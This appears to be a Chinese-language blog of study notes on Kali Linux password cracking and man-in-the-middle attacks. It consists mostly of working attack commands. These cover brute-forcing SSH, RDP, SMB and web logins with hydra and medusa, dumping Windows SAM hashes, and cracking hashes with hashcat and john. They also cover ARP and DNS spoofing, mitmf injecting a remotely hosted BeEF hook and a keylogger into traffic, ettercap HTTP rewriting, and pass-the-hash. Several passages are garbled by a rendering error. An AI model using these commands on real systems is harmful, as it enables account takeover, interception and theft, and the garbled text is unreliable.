kali密码破解笔记

mac2025-09-10  30

密码破解

思路 目标系统实施了强安全措施 ·安装了所有补丁 ·无任何已知漏洞 ·无应用层漏洞 ·攻击面最小化 社会工程学 获取目标系统用户身份 ·非授权用户不受信,认证用户可以访问守信资源 ·已有用户账号权限受限,需要提权 ·不会触发系统报警

身份认证方法 证明你是你声称你是的那个人 ·你知道什么(账号密码、pin、passphrase) ·你有什么(令牌、token、key、证书、密宝、手机) ·你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别) ·以上方法结合使用(多因素身份认证) 基于互联网的身份验证仍以账号密码为主要形式

密码破解方法 人工猜解 ·垃圾桶工程 ·被动信息收集 基于字典暴力破解(主流) 键盘空间字符暴破 字典 ·保存有用户名和密码的文本文件 ·/usr/share/wordlist ·/usr/share/wfuzz/wordlist ·/usr/share/seclists

字典 键盘空间字符爆破 ·全键盘空间字符 ·部分键盘空间字符(基于规则) ·数字、小写字母、大写字母、符号、空格、瑞典字符、高位ASCII码 crunch [] [options] ·默认是小写字符 crunch 66 0123456789 -o START -d 2 -b 1mb / -c 100 ·-b 按大小分割字典文件(kb/kib、mb/mib、gb/gib) ·-c 每个字典的行数 ·以上两个参数必须与-o START 结合使用 ·-d 同一字符连贯出现数量(11 / aaa) 字符集 ·crunch 4 4 -f /usr/share/crunch/charset.lstlalpha-sv-o 1.txt 无重复字符 ·crunch 1 1 -p 1234567890 | more ·必须是最后一个参数 ·最大、最小字符长度失效,但必须存在 ·与-s 参数不兼容(-s 指定起始字符串) ·crunch 4 4 0123456789 -s 9990 读取文件中每行内容作为基本字符生成字典 ·crunch 1 1 -q read 字典组成规则 ·crunch 6 6 -t @,%%^^ | more ·@:小写字母lalpha ·,:大写字母ualpha ·%:数字numeric ·^:符号symbols 输出文件压缩 ·crunch 4 4 -t @,%^ -o 1.txt -z 7z ·其他压缩格式:gzip、bzip2、lzma ·7z压缩比率最大 crunch 4 4 -f /usr/share/crunch/charset.lstmixalpha- numeric-all-space -o w.txt -t @d@@ -s cdab crunch 4 5 -p dog cat bird crunch 5 5 abc DEF + !@# -t ,@^%, ·+ 占位符 ·\转义符(空格、符号) crunch 5 5 -t ddd%% -p dog cat bird ·任何不同于-p 参数指定的值都是占位符 crunch 5 5 -d 2@ -t @@@%% 组合应用 ·crunch 2 4 0123456789 | aircrack-ng a.cap-e MyESSID-w - ·crunch 10 10 12345 --stdout| airolib-ng testdb-import passwd- 按个人信息生成其专属的密码字典 CUPP:Common User Password Profiler ·gitclone https://github.com/Mebus/cupp.git ·python cup.py -i 通过收集网站信息生成字典 cewl1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt ·-m:最小单词长度 ·-d:爬网深度 ·-e:收集包含email地址信息 ·-c:每个单词出现次数 ·支持基本、摘要身份认证 ·支持代理 用户密码变型 ·基于cewl的结果进行密码变型 ·末尾增加数字串 ·字母大小写变化 ·字母与符号互相转换 ·字母与数字互相转换 ·P@$ w 0 r d 使 用 J o h n t h e R i p p e r 配 置 文 件 实 现 密 码 动 态 变 型 / e t c / j o h n / j o h n . c o n f ⋅ [ L i s t . R u l e s : W o r d l i s t ] ⋅ w0rd 使用John the Ripper 配置文件实现密码动态变型 /etc/john/john.conf ·[List.Rules:Wordlist] · w0rd使JohntheRipper/etc/john/john.conf[List.Rules:Wordlist][0-9] [ 0 − 9 ] [0-9] [09][0-9] ·john --wordlist=cewl.txt --rules --stdout> m.txt ·[List.Rules:test] [ 0 − 9 ] [0-9] [09][0-9] [ 0 − 9 ] [0-9] [09][a-zA-Z] [ 0 − 9 ] [0-9] [09][0-9] [ 0 − 9 ] [0-9] [09][a-zA-Z] [ a − z A − Z ] [a-zA-Z] [azAZ][a-zA-Z]KaTeX parse error: Expected 'EOF', got '#' at position 6: [`~!@#̲%^&*()-_=+] ·john --wordlist=cewl.txt --rules=test --stdout> m.txt ·john --wordlist=ahm.lst–rules=test HASHFILE

在线密码破解——hydra Windows密码破解 ·hydra -l administrator -P pass.lstsmb://1.1.1.1/admin$ -vVd ·hydra -l administrator -P pass.lstrdp://1.1.1.1 -t 1 -vV Linux密码破解 ·hydra -l root -P pass.lstssh://1.1.1.1 -vV 其他服务密码破解 ·hydra -L user.lst-P pass.lstftp://1.1.1.1-s 2121 -e nsr-o p.txt -t 64 图形化界面 ·xhydra HTTP表单身份认证 ·hydra -l admin -P pass.lst1.1.1.1 http-post-form “/dvwa/login.php:username=USER&password=PASS&Login=Lin:S=index.php” -V ·hydra -l admin -P pass.lst1.1.1.1 http-post-form “/dvwa/login.php:username=USER&password=PASS&Login=Lin:LoginFailed” -V ·/foo.php:user=USER&pass=PASS:S=success:C=/page/cookie:H=X-Foo: Foo C:先访问指定页面取得cookie H:指定http头 ·https-post-form、http-get-form、https-get-form ·-S:使用SSL连接 pw-inspector ·按长度和字符集筛选字典 ·pw-inspector -i /usr/share/wordlists/nmap.lst-o p.lst -l ·pw-inspector -i /usr/share/wordlists/nmap.lst-o P.lst -u 密码破解效率 ·密码复杂度(字典命中率) ·带宽、协议、服务器性能、客户端性能 ·锁定阈值 ·单位时间最大登陆请求次数

Medusa Hydra 的缺点 ·稳定性差,程序时常崩溃 ·速度控制不好,容易触发服务屏蔽或锁死机制 ·每主机新建进程,每服务新建实例 ·大量目标破解时性能差 Medusa 的特点 ·稳定性好 ·速度控制得当 ·基于线程 ·支持模块少于hydra(不支持RDP) ·WEB-Form支持存在缺陷 medusa -d 破解windows密码 ·medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F 破解Linux SSH密码 ·medusa -M ssh-h 192.168.20.10 -u root -P pass.lst-e ns ·F 其他服务密码破解 ·medusa -M mysql-h 1.1.1.1 -u root -P pass.lst-e ns -F ·medusa -h 1.1.1.1 -u admin -P pass.lst-M web-form -m FORM:“dvwa/login.php” -m DENY-SIGNAL:“login.php” -m FORM-DATA:“post?user=username&pass=password&Login=Login” -n:非默认端口 -s:使用SSL连接 -T:并发主机数 medusa -M ftp -q

离线密码破解 身份认证 ·禁止明文传输密码 ·每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难) ·服务器端用户数据库应加盐加密保存 破解思路 ·嗅探获取密码HASH ·利用漏洞登陆服务器并从用户数据库获取密码HASH ·识别HASH类型:长度、字符集 ·利用离线破解工具碰撞密码HASH 优势 ·离线不会触发密码锁定机制 ·不会产生大量登陆失败日志引起管理员注意 HASH识别工具 ·hash‐identifier ·Hashid ·可能识别错误或无法识别 Windows HASH获取工具 ·利用漏洞:Pwdump、fgdump、mimikatz、wce ·物理接触:samdump2 ·Kali ISO 启动虚拟机 ·mount /dev/sda1 /mnt ·cd /mnt/Windows/System32/config ·samdump2 SYSTEM SAM -o sam.hash ·利用nc传输HASH Syskey工具 ·使用Bootkey利用RC4算法加密SAM数据库 ·Bootkey保存于SYSTEM文件中 ·Bkhive: 从SYSTEM文件中提取bootkey Kali 2.0 抛弃了bkhive 编译安装:http://http.us.debian.org/debian/pool/main/b/bkhive/ bkhiveSYSTEM key samdump2 SAM key (版本已更新,不再支持此功能) ·建议使用Kali 1.x

离线密码破解——Hashcat 开源多线程密码破解工具 支持80多种加密算法破解 基于CPU的计算能力破解 六种模式 ·0 Straight:字典破解 ·1 Combination:将字典中密码进行组合(1 2 > 11 22 12 21) ·2 Toggle case:尝试字典中所有密码的大小写字母组合 ·3 Brute force:指定字符集(或全部字符集)所有组合 ·4 Permutation:字典中密码的全部字符置换组合(12 21) ·5 Table-lookup:程序为字典中所有密码自动生成掩码 命令 ·hashcat-b ·hashcat-m 100 hash.dumppass.lst ·hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d ·结果:hashcat.pot ·hashcat-m 100 -a 3 hash -i–increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l ·?l = abcdefghijklmnopqrstuvwxyz ·?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ·?d = 0123456789 ·?s = !"#$%&’()*+,-./:;<=>?@[]^_`{|}~ ·?a = ?l?u?d?s ·?b = 0x00 -0xff

离线密码破解——oclhashcat 号称世界上最快、唯一的基于GPGPU的密码破解软件 免费开源、支持多平台、支持分布式、150+hash算法 硬件支持 ·虚拟机中无法使用 ·支持CUDA 技术的Nvidia显卡 ·支持OpenCL 技术的AMD显卡 ·安装相应的驱动 限制 ·最大密码长度55 字符 ·使用Unicode的最大密码长度27 字符 关于版本 ·oclHashcat-plus、oclHashcat-lite已经合并为oclhashcat 命令 ·oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a ·?l = abcdefghijklmnopqrstuvwxyz ·?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ·?d = 0123456789 ·?s = !"#$%&’()*+,-./:;<=>?@[]^_`{|}~ ·?a = ?l?u?d?s ·?b = 0x00 -0xff

离线密码破解——RainbowCrack 基于时间记忆权衡技术生成彩虹表 提前计算密码的HASH值,通过比对HASH值破解密码 计算HASH的速度很慢,修改版支持CUDA GPU ·https://www.freerainbowtables.com/en/download/ KALI中包含的RainbowCrack工具 ·rtgen:预计算,生成彩虹表,耗时的阶段 ·rtsort:对rtgen生成的彩虹表进行排序 ·rcrack:查找彩虹表破解密码 ·以上命令必须顺序使用 彩虹表 ·密码明文、HASH值、HASH算法、字符集、明文长度范围 rtgen ·LanMan、NTLM、MD2、MD4、MD5、SHA1、RIPEMD160 ·rtgen md5 loweralpha1 5 0 10000 10000 0 ·计算彩虹表时间可能很长 下载彩虹表 ·http://www.freerainbowtables.com/en/tables/ ·http://rainbowtables.shmoo.com/ 彩虹表排序 ·/usr/share/rainbowcrack ·rtsort/md5_loweralpha#1-5_0_1000x1000_0.rt 密码破解 ·rcrack*.rt-h 5d41402abc4b2a76b9719d911017c592 ·rcrack*.rt-l hash.txt

离线密码破解——John 支持众多服务应用的加密破解 ·john --list=formats 支持某些对称加密算法破解 模式 ·Wordlist:基于规则的字典破解 ·Single crack:默认被首先执行,使用Login/GECOS信息尝试破解 ·Incremental:所有或指定字符集的暴力破解 ·External:需要在主配配文件中用C语言子集编程 默认破解模式 ·Single、wordlist、incremental ·主配置文件中指定默认wordlist 破解Linux系统账号密码 ·unshadow /etc/passwd/etc/shadow > pass.txt ·john pass.txt ·john --show pass 破解windows密码 ·john sam.dump–wordlist=password.lst–format=nt ·john sam.dump–format=nt–show Johnny:图形化界面的john

离线密码破解——Ophcrack 基于彩虹表的LM、NTLM密码破解软件 彩虹表:http://ophcrack.sourceforge.net/tables.php 在线密码破解

密码嗅探 二、三层地址 ·IP 网络到网络 ·MAC 主机到主机 交换机与HUB ·HUB全端口转发 ·交换机根据学习地址转发 ·混杂模式抓包 ARP协议 ·免费ARP ·基于广播学习 ·以太网头、ARP头 ·请求、响应相对独立 ·基于传闻的协议 手动修改数据包实现ARP欺骗 arpspoof ·echo 1 > /proc/sys/net/ipv4/ip_forward ·arpspoof-t 1.1.1.12 -r 1.1.1.1 网络嗅探 ·driftnet -ieth0 -a -d tempdir-s ·dnsspoof-ieth0 -f /usr/share/dsniff/dnsspoof.hosts ·urlsnarf-ieth0 ·webspy-ieth0 1.1.1.10 ·dsniff-ieth0 -m: /usr/share/dsniff/dsniff.services DNS欺骗代理 ·dnschef --fakeip=1.1.1.10 – fakedomains=www.google.com,www.youtube.com --interface 1.1.1.2 -q 将被害者DNS指向伪造的DNS服务器

中间人攻击 注入XSS ·即使没有XSS漏洞,也可以凌空向每个HTTP请求中注入XSS攻击代码 ·一旦得手,影响范围巨大 ·如果中间人发生在运营商线路上,很难引起用户注意 Mitmf 安装 ·曾经号称最好用的中间人攻击工具(kali 2.0后默认未安装) ·apt-get install python-dev python-setuptoolslibpcap0.8-dev libnetfilter- queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file ·apt-get install mitmf ·pip uninstall twisted ·wgethttp://twistedmatrix.com/Releases/Twisted/15.5/Twisted- 15.5.0.tar.bz2 ·pip install ./Twisted-15.5.0.tar.bz2 启动beef ·cd /usr/share/beef-xss/ ·./beef mitmf中间人注入xss脚本 ·mitmf --spoof --arp-ieth0 --gateway 1.1.1.1 --target 1.1.1.2 --inject –js-urlhttp://1.1.1.3:3000/hook.js ·mitmf --spoof --arp-ieth0 --gateway 192.168.20.2 --target 192.168.20.1 --jskeylogger ·–upsidedownternet、–screen(/var/log/mitmf) ·–ferretng(cookie)、–browserprofiler(浏览器及插件信息) ·–smbtrap、–smbauth(不演示) –hsts ·HTTP Strict Transport Security ·防止协议降级、cookie窃取 ·安全策略通过HTTP响应头”Strict-Transport-Security“实施 ·限制user-agent、https等 –filepwn ·凌空插后门 Ettercap ·统一的中间人攻击工具 ·转发MAC与本机相同,但IP与本机不同的数据包 ·支持SSH1、SSL中间人攻击 模块划分:Snifer、MITM、Filter、Log、Plugin Snifer ·负责数据包转发 ·Unified:单网卡情况下独立完成三层包转发;始终禁用内核IP_Forward功能 ·Bridge:双网卡情况下的一层MITM模式;可作为IPS过滤数据包;不可在网关上使用(透明网桥) MITM ·把流量重定向到ettercap主机上 ·可以使用其他工具实现MITM,ettercap之作嗅探和过滤使用 实现MITM的方法 ·ARP ·ICMP ICMP路由重定向,半双工 ·DHCP 修改网关地址,半双工 ·Switch Port Stealing flood目标地址是本机,源地址是受害者的包 适用于ARP静态绑定的环境 ·NDP IPv6协议欺骗技术 2.4以上内核对ARP地址欺骗的约束 ·收到非请求的ARP响应包,不更新本地ARP缓存 ·Ettercap使用ARP request包进行攻击 Solaris 不根据ARP包更新本地ARP缓存 ·Ettercap使用先发ICMP包来更新ARP缓存 用户操作界面 ·-T文本界面 ·-G图形界面 ·-C基于文本的图形界面 ·-D后台模式 指定目标 ·IPv4:MAC/IPs/Ports ·IPv6:MAC/IPs/IPv6/Ports ·/10.0.0.1−5;10.0.1.33/20−25,80,110 权限 ·需要root权限打开链路层Socket连接,然后使用nobody账号运行 ·日志写入目录需要nobody有写入权 ·修改etter.conf:EC_UID=65534 改为0,即root账号,方便使用但不安全 基于伪造证书的SSL MITIM ·Bridge模式不支持SSL MITM ·opensslgenrsa−out etter.ssl.crt 1024 ·opensslreq−new−keyetter.ssl.crt −out tmp.csr ·opensslx509 −req−days 1825 −in tmp.csr−signkeyetter.ssl.crt −out tmp.new ·cat tmp.new>>etter.ssl.crt ·rm−f tmp.newtmp.csr

字符模式 ·ettercap -i eth0 -T -M arp-q /192.168.1.1// /192.168.1.2// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message 图形界面 SSL MITM ·vi /etc/ettercap/etter.conf linux下if you use iptables里的两行#去掉即可 DNS欺骗 ·dns_spoof插件配置文件 ·vi /etc/ettercap/etter.dns Ettercap 日志查看 ·etterlog -p log.eci查看获取的密码 ·etterlog -c log.ecp列出Log中的连接 ·etterlog -c -f /1.1.1.1/ log.ecp ·etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp> aa 选择相应的连接并榨取文件 Filter ·/usr/share/ettercap/ SSH-2.xx / SSH-1.99 / SSH-1.51 ·etterfilter etter.filter.ssh -o ssh.ef 编译出ettercap可使用的文件 替换HTTP内容 ·if (ip.proto == TCP && tcp.src == 80) { ·msg(“data on TCP 80\n”); ·replace(“imgsrc=”, "imgsrc=“http://1.1.1.1/1.gif” "); ·replace(“IMG src=”, "imgsrc=“http://1.1.1.1/1.gif” "); ·replace(“IMG SRC=”, "imgsrc=“http://1.1.1.1/1.gif” "); ·}

ICMP ·-M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP) DHCP ·−M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS) Port ·-M port /1.1.1.1/ /1.1.1.2/ Ndp ·-M ndp//fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/

Pass the Hash(PTH) 密码破解耗费时间资源巨大 使用密文提交给服务器直接完成身份认证 NTLM/LM是没有加盐的静态HASH密文 企业中使用ghost等工具克隆安装系统 pth-winexe -U w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063 716ab7fe2a11faf126d8 //1.1.1.1 cmd

最新回复(0)